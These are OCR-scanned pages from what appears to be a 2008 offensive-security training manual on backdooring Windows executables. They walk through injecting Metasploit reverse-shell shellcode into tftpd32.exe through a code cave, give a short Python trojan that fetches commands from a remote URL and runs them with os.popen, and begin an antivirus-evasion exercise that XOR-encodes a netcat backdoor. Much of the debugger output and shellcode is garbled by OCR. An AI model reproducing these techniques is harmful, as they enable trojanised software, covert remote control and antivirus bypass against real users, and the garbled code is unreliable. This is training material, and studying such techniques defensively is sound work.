We can choose to inject our malicious code in various places in the executable. This could either be

"dead space" in the file (code cave), or into an artificially added section. We will add a new section

to the PE file with our malicious code. We can do this with LordPE.

37
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M amne Wzt | WSize R Offzet | RSize | Flags |

et 00001000 00020746 00000400 00020200
Idata 00022000 0000&YEC noo020c0a 0o00&s00
.data 00023000 0001 8E2C 00027400 00002600

B EIEIEI#EEIEIEI 000032433 00023200 00003600

We allocate 1000h bytes for the new section, and make it executable.

[ Edit SectionHeader ]

— Section Header

I— ok
M arne: MewSec |—|
Yirtualhddress: 00046000

irtualSize: Q0001 000

R awffzet: I 00020000
FawSize: I Q0001000
Flags: [ Eodoocen

60000020
40000040
Cooooa4a
40000040

ENOOO0E D

The file will now not function, as it is missing 1000h physical bytes. We can remedy this by

padding the file with these bytes using a hex editor.

Insert Bytes

i+ Hex
i Dec

Mumber of bytes: |

Cancel |

Fill with the following hes byte: IEI

Bytez will be inzerted at current pozition

We need to verify that the file is functional once again.

38
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We locate our new section using Olly, and choose the address 0x00446000 as the starting address

for our malicious code.

Now that we know our executable is capable of handling our malicious needs, and we know the
static address of the location of our shellcode (the code cave at 0x00446000), we can start altering

our file.

Hijacking Execution Flow

We need to look for a convenient place to hijack the execution flow of the binary. As we step into
the execution of tftpd32.exe, we spot a convenient place to hijack, and replace the original first few

opcodes with our “diversion”.

OllyDbg - Htpd32.exe - [CPU - main thread, module thpd32] - |EI|5|

@ File View Debug Options Window Help _|5'|_|
" “‘l - n
e [BIex] »i] ¥ $140 9] =] LElmT/walc] ]kl
EESBESE : E: cEnaceoo TALL tftpdoe, BE41E70E
BE411565 | .~ E9 7PEFEFFFF JHF. tftpda2. Be4111E6 ngligzgzséfpﬁérnelgz =
BG411362 |5 SBFF MOV EDI,EDI S Teeemes
BEdlised || . 55 PLZH_EEF E0 BE41135E +§tpd32. < Modi
GaailzeE || - BBEC MOL EEF,ESF S S ias
PA411360 || - 5L FUSH ECH S R e e
BA4113cE || . E& FUSH EST E e
Ba41126F || - 8BPE @c MOU ESI,CRRETE]
ES] GRGEEEEE
Bad4i1372 || - Ee FUSH EST S i
Ba4i1s7s || - ES sEooecem CALL tftpd3z.E6<4193F0
Boaiiioe || 1 2B BE HDU ERCCDNORG PTR 0S:(ESIHCT | o o o o0 TSR o
. + i
. ' : C 8 ES 9823 22bit BLFFFFR
BEd11srE || . 52 FOF_ECx F 1 C5eniE Z2bit BIFFFFA
Ga4i1zvF || - A& a2 TEST AL,=2 Ny e
Ba411281 || v 75 17 JHE SHORT tftpd32. Be41139A8 S8 22 e DIORE LnEhnd
Ga41122= || - E& CosEe@eEa COLL tftpd22. BEA12260 % B BB ahme oomhe SLEHARS
Ba4iizas || - Cree GoBGEAGE | HOW DWORD PTR OS:CEARI,S S8 Bk el
St e e«
aa411395 || v ES 2F10080 JHP tftpd32. 68411409 0y [Lewdens (s =lebEs:
Ga41132A || > A& 4@ TEST AL, 40 EFL BEEEE24E (MO, HE,E, BE, N
Gad1129c || v va 80 JE SHORT tftpdsz.oEd113AE STE empty 8.0
Ba41129E || - E2 AORERGEE CALL tftpd22. BE41225A 3TT et BTh
Ba41120= || - CPe@ 2oP@EEEE | MO DWORD PTR OS: CEAX1, 22 I S ore
Ga411205 || -~ EB E2 JHP SHORT tftpd32.eedlisse o 515 het e
Ba4i130E || > B3 FUSH EEH STh et B'H
1| L TS empty B.8
064 1E7DE=t f tpdoz. D64 16 70E Z15 Smoty 8.2
221@
FST @088 Cond @ @ 6 @ Ex
Address [Her dump ASCT a TESS3IEIS( RET o
BO4Z5060) A1 08 68 08 FF FF FF PR OO 08 Of 6o 48 29 42 o6l ... SotSFEhs | rErDrees
BR4Z5G10( 61 GO 6O G0 32 20 42 00|62 00 06 05| 2C 25 42 oola... ] BBIZFERC | DRIZFFED)
9%?2?929 93 0O 02 08|20 29 42 0084 00 03 09 18 29 42 00| w. . AR1=EFRa | PFEMZARR -_rIJ
4 41 Y

| Frogram entry point |
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Note the sequence of opcodes we’ll be overwriting and their addresses, we’ll need to reference

these later on.

0041135E t> $§ E8 7BA40000 CALL tftpd32.0041B7DE
00411363 .~ E9 T8FEFFFF JMP tftpd32.004111E0
00411368 /$ 8BFF MOV EDI,EDI

0041136A |. 55 PUSH EBP

We’ll replace the first instruction with a jmp to our code cave, and effectively hijack the execution

flow.

OllyDbag - Htpd32.exe - [CPU - main thread, module thpd32] - | Ellﬂ

@ File View Debug Options Window Help _|E|£|
Paed | B x| w[0] e 34 2| o EEJJJEQﬂE B
[ B541135F IENEREEET] TP tf todas. 0445000

Ga4ilces | .~ E9 PEFEFFFF JHP tftpd3z.Ba4111E8 EE??;EEB;TPE;P“E[%
Ba411362 (S  BBFF MOU EDI,EDT Sdn Teesmenn

Ba4113eA || . 55 PUZH_EEF ED BBe4135E +Ftpd3.
ead11366 || - 8BEC MOU EEF, ESP S0 Hheas

ead11360 || - B1 PUSH ECH Sl S
ead41136E || - Ee PUSH EST EE e

oaaiizer || 2 gE7s ec MOU EST, CARGIE2] e e

ead11372 || - E6 FUSH EST e

aaai1z7z || - E2 scceeeee BALL *ftpd32. @E4193F0

Sniioce || 2 5342 8E HDU ER:DWORD TR DSt [ESI+CI S e

. » : + i

ead1137E || 1 59 FOP ECH o = A S
ead1137F || - A8 s TEST AL, 52 DL peRE ST
pad1ize1 || v 75 17 JHZ SHORT tftpd32, BE411290 TR
oaai1zez || o ER Coscosea EALL tftpd32. B64122CH T B RS e e
oadi1ze2 || . cPee mopeeese | MOU DWORD PTR DS:LEAXI, S 52 B b e
A e i:

aad11395 || v ES ZFeleeen JHP_tf tpd32. 88411409 08 LastBrr ERROR_SUY
ea411390 || > A8 4B TEST AL, 44 EFL BEEEEz4E (MHO,NE,E
pad1133c || v 74 B0 JE SHORT tftpdiz.@od41120E ST empty 0.0
oaa1129€ || 27 E2 ADeE@@ee EALL *ftpd3z. 6412266 1 ey o e
oa411202 || - CPe@ 2ceeeese | MOU DWORD PTR DS:[EAXI, 22 - Bl

<« | ¥ |12 enpty B.a
BE446E00=1 f tpdoz . BO4I6008 312 enots .0

5TE empty .0

Addiress |Hex dump ASCII TEEE3ET o
BA4Z0006| A1 OO B8 66 FF FF FF FF| 00 G0 G0 60) 48 29 42 66| 6. .. A EETEEEE,
BR4Zoninl @] GO 68 00|32 29 42 0|62 00 D@ 09| 2C 23 42 oolo...s)e. § DR1SFRAC | 881aFEE
BR4Z50260| B3 GO 68 00| 20 23 42 08|04 B0 08 00| 16 23 42 oofe... ). | D212FFEA | CTSFASE
BR4Z5030| 65 0O 08 00|04 23 42 08| D6 B0 DO 0O FS 25 42 oo|s.o.eiE. | BR1ZFFE4 | TREDSSE
BA4Z5040| 07 G0 0O 06 ES 25 42 06| 03 00 00 06| DC 22 42 on..0ls(E. | 231SFFES | B1Z4DOl
BA4Z5056| A9 GO OE Q6| 00 25 42 G630 G0 0O 66| 6] 0o oo 66| ... .l(6. L] S21SFFEC | Booaeuns
nnIA*;'\inf;n DE AR AR AR @A @A @A @A A1 AR QA QA Ad AE @A AED S e I I

F q »

| Madule C:MwindowsafinS =5 86 _rmicrazaft windows. cammon-contralz_E5956647 44001 df_6.0.6000.1 538|
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We now save our changes to a new file (tftpd32-mod]l.exe), and re-open it with Olly. We step over

our initial jump, to see if we are redirected to the correct place:

OllyDbg - titpd32-modl.exe - [CPU - main thread, module titpd32-] =10 =]
@ File View Debug Options Window Help == x|
Paused | B4 X| W[ TH] w4 3L ] o MHJJJEQJE B

] 0D EVTE FIR D52 LERARI, AL Reaisters (FPL)

BO44c00: | PPER ADD EYTE PTR Dot LEAXY. AL A
BR445004 | BEEE ADD BYTE PTR D32 LEAX1.AL S e
BR44500E | BEEE ADD BYTE PTR D3:LCEAX1.AL =N EE BBalioeR erepdaz-
GR44E0ES | PEEE AOD BYTE PTR D3:CEA%1.AL Ebn SERLLEEE
GR44500R | BEEE AOD BYTE PTR D3:CEAX1.AL S A A
GO445000 | BEEE AOD BYTE PTR D3:LEAX1.AL EEe
GO44E00E | BEEE AOD BYTE PTR D3:CEAX1.AL CEE EcriEn
GR44E010 | BEEE AOD BYTE PTR D32 LEAX1,AL ENT GOGGB6EE
BR445E1Z | PEOR ADD BYTE PTR D3:LEAX1.AL
Godicoic | oooa ADD BYTE PTR Do: FEAWT. AL S e
GRd44Enls | BEEE GO0 EYTE PTR DS:CEAX1.AL EYOEREERE il
GR44501n | @EEE AOD BYTE PTR D3:CEAX1.AL E o Bl e Ol B
GO44501C | BEEE AOD BYTE PTR D3:LEAX1.AL ST )
Go44cniE | BEEE AOD BYTE PTR D3:CEAX1.AL Lo BE e ot ol
GR44E0Z0 | BEEE AOD BYTE PTR D32 LEAX1,AL T8 Go aome NOCL
e SR e 1
BE445E26 | DDOD AOD EVTE PTR OS:CERXT, AL 08 LastErr ERROR_SUY
GR44E022 | BEEE AOD BYTE PTR D3:CEA%1.AL EFL @@888245 (MNO,ME,E
GR445020 | BEEE AOD BYTE PTR D3:CEAX1.AL STE empty 9.8
GO4450CC | BEEE AOD BYTE PTR D3:LEAX1.AL S ey o e
GO44E0CE | BEEE ADD BYTE PTR D32 CEAX.AL - PR
a | b 513 empty 0.

. empty .
AL=21 (%" STE empty B.0
OS: [765538211=88 3TE empty B0
Address | Hex dump ASCII FEEE3EE o
BR4Zo000| B B8 00 OB FF FF FF FF| 00 00 DO 00| 45 23 42 06| ... ma e S
BE4Z9a10/ A1 BO GG 68| 35 29 42 0|62 08 08 08 2C 29 42 6olo...s)p. | 291SFFAC | B1ZFFE
BE4Z9620| 63 BO 6G BB 26 23 45 06|04 08 0D 0D 16 29 42 oole.ll B | DOLZFFBA | TooPASE
DA4Z3636 05 GO G5 66|64 23 42 0606 0F GG 00| FE 25 42 0| i...e)E. | DO1ZEER4 | cRPOFOE
BA429046| A7 BR G5 08| ES 26 42 06|05 0F 68 06| OC 25 42 G| ... 2. JDO1ZFFBS )| Galocthl
DA4Z9056| 3 BR G5 68|06 25 42 0G| 3 08 08 60|81 o b@ 0|, .. iiE. L B21ZFERC | eaoaRaars
Iﬁﬂr‘:‘inﬁﬂ DE AR AR AR Gd GE GE AE| AT AR AR AR Gd GG GE AGE] S - I
1 v[ )4 »

We are redirected to our code cave.

Injecting our Shellcode

From here on we’re almost home free to execute code of our choice. For this example, we’ll be
embedding a reverse shell connection to the address 127.0.0.1 on port 4321. We’ll be using instant
Metasploit shellcode for this. Once all extra characters are removed, the shellcode should look

similar to this:

fc6aebdde8f9ffffff608b6c24248b453c8b7c057801ef8b4£188b5£2001eb498b348b01ee31c099
ac84c07407clca0d0lc2ebf43b54242875e58b5£2401eb668b0c4b8b5£1c01eb032c8b896c241c61l
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c331db648b43308b400c8b701cad8b40085e688e4e0eec50££d6665366683332687773325£54££d0
68cbedfc3b50££d65£89e56681ed0802556a02££d068d909£5ad57££d65353535343534353££d068
7£000001666810e1665389e19568ecf9aa6057££d66al05155££d0666a646668636d6a505929¢cc89
€76a4489e231c0£3aa9589fdfed22dfed22c8d7a38ababab6872feb316££7528££d65b5752515151
6a0151515551££d068add905ce53£f£d66aftff£37££d068e779c679££7504££d6££77£cf££d068£08a
045£53f£fd6££d0

We'll pad our shellcode with register saving commands, so as to attempt to preserve stack state for
the rest of the execution of tftpd32.exe. Once we pop our registers back to place, we’ll want to re-
introduce the original instructions we overwrote with our hijack commands. For easier reference

this was the original instruction we overwrote:

0041135E t> $ E8 7BA40000 CALL tftpd32.0041B7DE

Our resulting completed shellcode would look like this:

PUSHAD # Save the register values
PUSHFD # Save the flag values
reverse shell shellcode
align stack # Align ESP with where we saved our stack registers!
POPFD # Restore the original register values
POPAD # Restore the original flag values
CALL tftpd32.0041B7DE # The first instruction we overwrote (hijack)
JMP 00411363 #..Jump to the command that was to be executed next.

Once our shellcode is pasted into Olly we save the changes to a new binary tftpd32-mod2.exe.

In theory, once this file is executed, it should send a reverse shell to 127.0.0.1 on port 4321, and run

tftpd32. However, once we try this, we see that tftpd32.exe is executed only after the shell is exited.
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C:sllzerssoffzecsDesktop>ne —lup 4321

listening on [any] 4321 ...

connect to [127.8.8.11 from offsec—-PC [127.8.8.11 47178
Microsoft Windows [Version 6.8.6008]1

Copyright (c>» 2886 Microsoft Corporation. All rights reserved.

C:sllserssoffzecsDesktopsB2ZM Targets“BackDoorPE>

We’re almost there!

Solving Problems

We now need to find out why tftpd32.exe is executed only after the shell is exited. As we single

step through the shellcode execution via breakpoints, we notice that the problematic function is

WaitForSingleObject.

43
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OllyDbag - Htpd32-mod2.exe - [CPU - main thread, module thpd32-] - | Ellil
@ File View Debug Options Window Help _|E’|5|
Ruing | ] x| » 0| i # 4 2| =i L|E|M|T|W/H|c|/][K|B
BE44EGFE | FFDB EALL EAX < [Reaizters (PP
pld4cofn | 55 ADDGESLE | FusH TEBSDIAD EAY TEGETTS8 kerne 32, WaltForsingleObieg
pogdcart | =2 EUSH EEX ECY r65282B@ kerne |32. 76525260
ciie) T (MR SR -

BB446164 | FFar PUSH DWORD PTR O5:(er | EER fe510009 kernel32. 78510009
Bh44ei0s | 6% Er7ICET3 | PUSH oLErSET BB AT ALl o
I L 8T
BB44£112 | FF77 FC PUSH OWORD PTR DS:[EL | EIP @8446186 tftpd32-.B0446106
BR44£115 | FFOB CALL ERYX :
BR44E117 | 68 FBEAB4SF | PUSH SFE48AFE B Y ER e it AR
gR4delit | 53 FUSH EEH A @ 55 823 32bit B(FFFFFFFF)
Ba446110 | FFDS CALL ESI -
BoddsLiF | FFO8 CRLL e S8 P2 ooop oobiv PFFDFBBBIFFFI
BRd4E1%1 | 2104 ABEEEEEE | ADD ESP, BAE e
S| oo e e
- tftpd32-. i

B T P tfrpdsa-.BRAL1SE |06 LastErr ERROR_SUCCESS (@@@9066E)
BR44£133 | DooE A0 BVTE PTR DS:[EAA: |EFL GBOBB2BS (D, INE, NE, i, 1S, PE, GE, &)
BR44E15E | DEoE AOD EYTE P : [ERY!
BE446137 | GEEE ADD EBYTE PTR D3:(EAX: _{ 317 Shety B-2
3@445139 BBEE AOD BYTE FTR DS:[Eﬁf. STz enpty 6.0

empty -
EAR=FEEEr o8 (kerne [52.WaltFors inglelbject) gig S §:§

EmptYy .
Address |Hew dump ASCIT BOSEGER. ,
BA4ZO0GEE| 6] B8 B8 68 FF FF FF FF| G0 08 00 68) 45 29 42 666, .. JRiZFEES | EEEFFFF
BR4Z5G10| A1 GA 65 08 33 23 42 0662 60 00 66| 2C 23 42 oole..ose. | DRIEFEET | 7851203
BA420G20| 63 GO 65 08 25 20 42 06 G4 60 00 66|16 20 42 oolel. ] BT | 2AIZFEFE | LEBSDOH
BA420G30| 65 G4 63 0O B4 23 42 0006 B 00 06| F3 20 42 palelllem. | PRIEFEFS | 18BSPET
B4Z5G40| 67 GO 65 08 ES 25 42 00 63 60 00 06| DC 25 42 ool..olfiEl | DRIEFEFS | 2000084
BR4Z0ACE| B9 DO B8 G606 25 42 00|35 00 0O 00|61 00 6O BE|....40E. -
ARAZQASA] 2E AR AR AR Ad @@ @A AR AT AE BE AR Ad AE [BE Al s - EBIIEFFBB Slalz]slz]s]s])
1 2K »

A quick search in Google reveals the function parameters:

DWORD WINAPI WaitForSingleObject (
__in HANDLE hHandle,
__in DWORD dwMilliseconds
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Take a good look at the timing mechanism:

dwMilliseconds
The time-out interval, 1n milliseconds. The function returns 1if the
interval elapses, even 1f the object's state 1is nonsignaled. If
dwMilliseconds is zero, the function tests the object's state and returns
immediately. If dwMilliseconds 1s INFINITE, the function's time-out
interval never elapses.

In our situation, the value -1 signifies INFINITY. So the execution of tftpd32.exe will wait

“infinitely” until execution flow is returned from our shell. We need to change this value from -1 to

0.
OllyDbag - Htpd32-mod2.exe - [CPU - main thread, module thpd32-] - | Ellil
@ File View Debug Options Window Help _|E’|5|
1 " *I - n
Runring JJJ LTI RS J & vLlEM[T|WH|Cc|/|K|B
BE4458F 4 PUSH ECH Registers [FFUI
Doaaars Eé FLsh Ebx ERX IPBESEra8 kerne o2, e tFors ing le0b e
ECX reS282BH kerne 32, 76525260
caiicer’ | I P £ Sl
BA44E6FH | 68 ADDYBSCE | PUSH CEBSD9AD B e
coiicerr | 53 i
ES] GE44660E +ftpd3z-. 00446808
BA445102 | &0 BA PUSH & S
BR445104 | FES7 FUSH DWORD PTR DS:CED
Go445105 | FFO@ CALL EAX EIF Q445186 +ftpd22-, 0446106
GO445102 | 68 EFPICET3 | PUSH 79Ce79ET -
Ga445100 | FEPS 04 PUSH DWORD PTRsseCE: | & § E2 0055 Z2biT DLEEEEEEEE)
gR4dsli| | FPDE ERLL ESL . A @ 55 8E23 22bit B(FFFFFFFF)
BR445112 | FFeF FC PUSH DWORD PTR DS:[EL |5 5 05 ;oos So0it i FFFFFFRFE)
BR445115 | FFOE CALL ERZ RE
S 6 FS 0638 37bit FFFOFGEGLFFF]
BE445117 | &2 FESAR4EF | PUSH SFO4SAFD =8 B SR et
Boddciin | Peps EACL E1 D @
e | 2 - B 0 B LastErr ERROF_SUCCESS (GEREHEHE)
Ga445121 | S104 AEEGEEEA | ADD ESF, A0 EFL GEGSAZES (MO, HE,ME,A, N5, PE, GE, &)
GG446127 | ES BZSEFOFF | CALE tftod32—.8841B7l |orn cuney 0.0
Go446120 |- ES SZBRFCFF | JUP tftpd32—.eediize: o) SIERY -0
FR445131 | ooed AOD EYTE PTR OS:CEAx XA =ps S0EEY -0
4| | bl | 572 cnpry Bl
Stack D5:[BE12FFo0 I=0OOOHGRS L ErE o
STE empty B.8
Address |Hen durp ASCII BEAEEEE:
BA4ZO0GEE| 6] B8 B8 68 FF FF FF FF| G0 08 00 68) 45 29 42 666, .. R EAAAAS
BE429016| A1 G4 6B BB| 33 29 42 00\ 62 08 08 68| 2C 23 42 0o(6...s)8._J SA1SFEEC | rEwland
B429026| B3 GA 6B BO| 20 23 42 00| B4 00 09 08|10 23 42 oole... 1B, | BA1SFERE | CEESODOH
B3429036| B5 G4 6 G| @4 23 42 00\ B 00 08 BE|F3 25 42 o0(:...e1B. | JA1SFERD | 1EESEED
BE425046| 67 GO 66 B ES 25 42 00\ 63 00 08 66|DC 25 42 oo(-...:06. | SA1SFEFS | HOEEESd
BE429056| B3 0O 66 DB| 00 25 42 06 35 00 on 65|01 60 oo 0o....t0B. | G1SFEFC | DE22ERdTS
nnla*;nin.:n DE AR AR AR B AR AR AR AT AA AR AR Ad QA AR AR S Y I I
4 3 4 3

We’ll save our changes to the file (tftpd-mod3.exe).
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We should be all set now. All that’s left to do, is set our Netcat listener on port 4321, and double
click our modified tftpd32-mod3.exe file.

C-sUserssoffsecinc —luvp 4321

listening on [anyl 4321 ...

connect to [127.8.8.11 from offsec—PC [127.8.68.11 47184
Microsoft Windows [Uersion 6.8.6808]

Copyright <c? 2886 Microsoft Corporation. All rights reserved.

C=sUsersoffsec Desktopr>

% Titpd32 by Ph. Jounin =10 x|

Current Directory IE:\USEIS\DHSEC\DesktDp j Browse |
Server interfaces [152.168,240.135 > ShowDic |

Thp Server | Tftp Client I DHCP zerver I Syzlog server I Log wiewer

Control Panel

peer | file: | hart time | progress

Settings

-."-5tart| | & ¥ ¥ ™ | " untitied - Notepad | B Administrator: c:\indo... || & Tftpd32 by Ph. Jounin [ dp(E) 1l 12:17PM

The moral of the story here: NEVER run executables which come from untrusted sources!

Challenge #3

Backdoor your favorite executable with a reverse shell.

© All rights reserved to Author Mati Aharoni, 2008

46 BlackHat Vegas 2008




www.offensive-security.com

Super Trojan [T]

Question: How many lines of code would it take to write a Trojan that is undetected by Antivirus,
automatically detect and use configured proxies, be undetected by personal firewalls and have two

way encrypted communications?
Answer: 15.

In the following module we will examine several interesting design concepts for custom Trojan
horses. We will use python to develop the prototype Trojan, which can then be optimized and re-

written in assembly or C++.
Our main goal for this Trojan is to:
1. be undetected by AntiVirus Software
2. be able to bypass Personal Firewalls.
3. have encrypted two way communications
4. be able to identify and transparently use any configured proxies.

The pre-requisites seem harsh and perhaps too complex to deal with in the allotted time, however

some creative thinking can pull us out of this mess.
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Check the following Python code for Windows:

from time import sleep
import win32com.client
import os

ie = win32com.client.Dispatch("InternetExplorer.Application")
def download_url_with_ie(url) :
ie.Visible = 1 # make this 0, if you want to hide IE window

ie.Navigate (url)
if ie.Busy:

sleep(5)
text = ie.Document.body.innerHTML
text = unicode (text)
text = text.encode('ascii', 'ignore')

return text
# ie.Quit ()
# print text

while 1:

data=download_url_with_ie('https://www.offensivesecurity.com/trojan/client.php')
print data
os.popen (data)
sleep(30)

In 15 lines of code, we have fulfilled three out of four requirements in our Trojan! Obviously, these
15 lines of code are very simplistic, and will not function as a fully working Trojan horse, however

this template can be used as the stealthy “data transport agent” in our Trojan.

We can use Py2Exe to “compile” this python script into a win32 standalone binary, and send it to

our victim.

Python supports an endless number of importable modules, such as HTTP modules, SSH client /
server modules and even Microsoft Speech Engine modules...The possibilities in development are

endless.
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&'Znneﬂlarm . =100x]

ZONEALARM n
by Check Point ' | PROGRAMS
© Help
AR P Al Systems Active Status Product Info Preferences
Vielcome! Blocked Intrusions "
Firewall e 0 Intrusions have been blocked since install | gﬂfnu‘ﬁl}'
P prntlected by 0 aof thoze have been high-rated EW_IIZES
Program Fornedlarml . |dgnu1-5|_
Control 3 Pmle_ctlon
Mo further setug is ——| * Tutorial
Anti-virus MECESSary - ZoneAlarm w The firewall haz blocked 0 access
R B wvill alert you if you need attempts
Monitoring :
to make any adjustmerts. maore
Alerts 8 Logs  *  See how Zonedlarm iz . :iufﬁ::él is up
protecting you by viewing 2 program(z) zecured for nternet access :

the zecurity statistics to
the right.

=

[#] IE visible: False Edit View Help
[#]1 Ho command izzued I =

[#]1 IE wisihle: False
[#]1 Encoded command iz: [=*lcalc.exe

[#] Waiting for thread to end (1@s) I_ Backspace CE | &
MC 7 g 9 sqrt
MR 4 ] & * 3
M5 1 2 3 & 14
I+ ] +/- . + =
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Bypassing Antivirus Systems - More Olly games

The Theory

This module is an extension of the previous one. It also deals with Olly, code execution and PE
files. We'll be practicing and improving our Olly skills for further modules, and marking another

“V” on our “Todo” list — Antivirus avoidance.

Most antivirus software use hard coded signature scanning as their primary scanning technology.
This means that they attempt to identify malware by comparing a suspect file with a local
“database” which contains short “signatures” of known files. If our suspect file matches one of
these signatures, then it is flagged as a malicious file. Remember that antivirus software usually

scans file on disk, not in memory.

A 1 byte change in right place in the binary file can often make the file undetected by AV software,
however what impact would that one byte change have on the functionality of the file ? Would it

still run and execute correctly? Probably not.

We need to find a way to change the file contents, without changing its functionality in order to

bypass our average antivirus.

One way of achieving this is by encoding the file on disk, and have it decode back to its original
content when executed in memory. We'll be hijacking the execution flow of out original detected
malware (netcat bind shell clone, listening on port 99 by default) and redirect it into a small code
cave — in a very similar matter to our last exercise. Rather than placing shellcode in our code cave

as we did earlier, we will be planting a small decoder (stub). More about this later.

We will then encode part of the executable file, and save it to disk.
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Once the file is executed, it is loaded into memory. In memory, the execution flow will be hijacked
to our stub. Our stub will then decode our previously encoded contents and then resume normal

operations of the file.

The following simplified diagram shows the changes made to the binary file, while on disk.

Before — On Disk After — On Disk

Entry Point
(Hijacked)

Entry Point

=l

4044205

=]
=

k)

Encoded.text
section

Signature signature

OxD0IDATES

XOR stub

So just to recap — our file is encoded on disk, and decodes itself after execution in memory. Our
antivirus will hopefully not flag the encoded file on disk as malicious, as the binary content has

changed.
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After —In Memory

Entry Point
(Hijacked)

signature

Again, this sounds much more complicated than it actually is. Let’s start digging in, and see how
this is done.
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WOW W uflenslve--acur!ty.cgq:,_
We verify that our original nc.exe file is detected as malicious by initiating an AVG virus scan on it.

In a few seconds, we receive our confirmation. Since ncx99.exe is a known backdoor, its signature

exists in the AVG database, and the file is flagged as malicious.

- Scanning Statistics

. Threats Found!

— Scanning Information

ol

Started: b arually 1/19/2008 17:10:25 P
Ended: 1/13/2008 11:10: 25 P
Objects scanned: 2

Ermors: ]

Dizplay Test configuration

— iz statishics

Threats:
Healed:
Moved to Yirus Yault:
Deleted:

Lo Y e I e

a, Dizplay Besult Cloze

We then load this file in Olly, in order to get acquainted with the environment we’re going to

manipulate.
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BAdACAR [EER FOSH EGF ~Iregizters (FFL)
Bod@4cal | . SBEC noy EBF, ESP ERX 7630382l kerne 2. Baselhreadln Lt Th
Bodb4chs | | 8 bpepdan POSH now39. D845B006 Ecu pomondod

. ncH . A
GE404000 | . 63 7E7E4BEE PUSH rcngs, B4A7672 Eif s e ieileE D eI St e
GO4G4CEF | . B4:Al DORBEEEE | MOU ERX, DWORD PTR FS:C@] Ebw [rrDEand
BE4B4C15 | . 58 FUSH_EAX S Heinay
GbdndClc | o E4:9925 @AE@EERG HOU DUORD FTR FS:(al,ESP SaE e
BE4R4CER | . 53 FLSH EBX EDT BoBaEEng _
BE484C21 | . 56 PUSH ESI | EIF 86484088 ncu®9. <Modu leEntruFoint >
BE4B4CZ2 | . 57 PUSH_EOT :
BE454C23 | . 8965 E3 HOU DHOROYPTRISSECERP=181,£cp ||| C 8 ES 0923 S2biv GUFFFFFFFF)
Bo4@4co6 | . FFIS 5C224180  |BALE DUORD PTR DS:C<&kERMELz2. |G 4 2 221 SEbit BLEEERRREE)
podadcec | . 3302 o Ept £ 1 DS B@E23 32hit BIFFFFFFFF)

. . S @ FZ B@38 32bit PFFOF@AIFFF]
Gp4p4C6 | . 2915 ESFC4PEE | MOU DWORD PTR DS:C4eFCES],EDx |5 2 L2 2225 G50)
i e {5
GE4A4C2E | . D9B0 E4FC4BEA | HOU OWORD PTR DS:[48FCE4].Ecy |0 9 LestEor ERROR_SUCLESS Loommonng)
GE4@4C44 | . CIEL B8 SHL ECH, 2 EFL B@@BB246 (MO,NB, E,BE, NS, PE, GE, LE)
BE44C47 | . BacA AOD ECH, EO 5T8 empty B.0
BE4G4C49 | | G900 E@FC4808 MDY DWORD FTR DS:[46FCEBI,ECK |27 ShErd -0
BE4B4C4F | . CIES 1@ SHR EAX, 16 FLE
6434052 | . AZ DOFC4@8a HOU DWORD PTR DS:[46FCOCI,ERX |25 ShErs J-7
60454057 | . E2 FABO@AGAGE CALL nce39. AA4a405a T3 ohEre BIB
BE4B4C5C | . 950 TEST ERX,EAX LR
BE4G4CEE | i~ 7E BA JNZ SHORT ncw99. BE484C6A 312 encts 2.0
BE4B4CEE | . 6H IC FUSH 10 ~ [l S
ARARATA? F2 PAAAGRRAR rall nee99 ARdARAN?EA - 2218 ESFUD
4 | r FST BEEE Cond @ B @ G Err B @ @ @ @
e Firhl @27F Pro~ HFOR CZ2 M=zl 11 1

As before, we will be hijacking the execution flow, by overwriting the first few opcodes with our
redirection to the code cave. We find a convenient code cave at the end of the ncx99.exe .text

section.

We’ll use the address 0x0040A770 for the beginning of our code cave.
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CPU - rmain thread, module ncx99

GoAORTaT | BEBb GSFRRRFF | N noedy. BbAoReEs - |Feaizters (FFLI
amacnyes || I EE sEesFFFF CALL nowss. BRGESFFR ER rectaSzl kernel3z.BaseThreadinicTh
pedanres || D sB4dza 24 MOL Efx, DWORD. ETR SesCESE+24] ED% DB4G4ERE ron99. <Modu LeEntruPoint >
pa4anrEs || D 2304 B ADD ESF. 4 EE" “ERhomam : !
BE4en7EC || - Ed FUSH ERN 2o DREE
sedpnren || D Es sEosFFRE CALL nec=o9. BE4RZFFE S e
SS:SE;EE ] EEH B4 EEE Egl;.ft ES] DEERRGEEEA
BE4E0TES || . EE FOF ESI EDL pEmEEaag .
BA4BATET . ED FOF EEFP EIF @84a4Can nocw99. <Modu leEntrwPoint »
padanres || - Zace OR EAX, EAY -

' C B ES B923 32bit 8(FFFFFFFE)
Aeppeael| [0 HE Eor BB F 1 CSB@BlE 32bit B(FFFFFFFF)
aodanves (L. 3 RET A @ S5 BEZ3 32hit @(FFFFFFFF)
aodaiver 20 es Z 1 DS BE22 32hit @(FFFFFFFF)
gadarve 2 hoP £ @ FS GR3E Z@hit PEFOFBEACEFE)
A o o I
Ba4eR7 7 oo DE 0@ 0 B LastErr ERROF_SUCCESS | ABGEOESE)
BE4ANTTE B DB 6@ EFL BBRBE24E (MO,ME,E,EE, HS, PE, GE, LE)
BE4BNT TS B OB &6
BEHBATTS L OB GE sl ERE BE
BE4EHFTE B OB GG ST empty B0
BE4BHFTE B DB GG —i| 512 empty 8.8
BR4BA7F7 B OE &8 LW 579 crpta ol
BEENT TS B DE G ETE empty B8
BE4EHT TS B DB @ STE empty 6.6
BE4B0TTH B DB 6@ - |577 empry Gl
ARARCT 7R [=]x] [gl=a (=] EMpEY " 3218 ESFUDO
« [l r FST G808 Cond @ B @@ Ecrc B 8 8 @ @

EChl A2FF  Pyres HEFOR.E2  Ha=lk 1 1 1

We will also need to modify the PE file properties, to allow the file to decode in memory. LordPE is
optimal for this. For this exercise, we will be encoding the .text section of the PE only. This is

usually enough to demonstrate a simple signature bypass.

As the .text segment will be decoding itself, we must allow “writeable” access to the section. The

resulting section table should look similar to the following screenshot.

[ Zection Table ] (=]
Narne | YDffset | Size | RiDffset | RSize | Flags |
et 0000000 OOOO9800 00000400 0OOOSS00  ECO00020
1data OOOOBOOD 00000417 0OO0SCO0 OODODGOO 40000040
data O00OCODD 00005244 0OO0AZ00  OQODOREOD  COOOOO040
idata 00012000 OOOOO7SC  OOOOEOOO  OODODEOO0 COOO0040
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Now that the file is ready for our changes, we open it in Olly, hijack execution to our designated

code cave, and save the file.

For reference, we will be overwriting the following opcode with our own commands (in bold):

00404C00 n> $ 55 PUSH EBP

00404co01 . 8BEC MOV EBP, ESP
00404C03 . 6A FF PUSH -1

00404C05 . 68 00B04000 PUSH ncx99.0040B000

We redirect the execution flow to our code cave in Olly, and save the file.

CPU - rmain thread, module ncx99
FEPEYREEN -, Eo cooooonn JHF_nonoo, DEGEAT T8 - |Regizters (FFU)
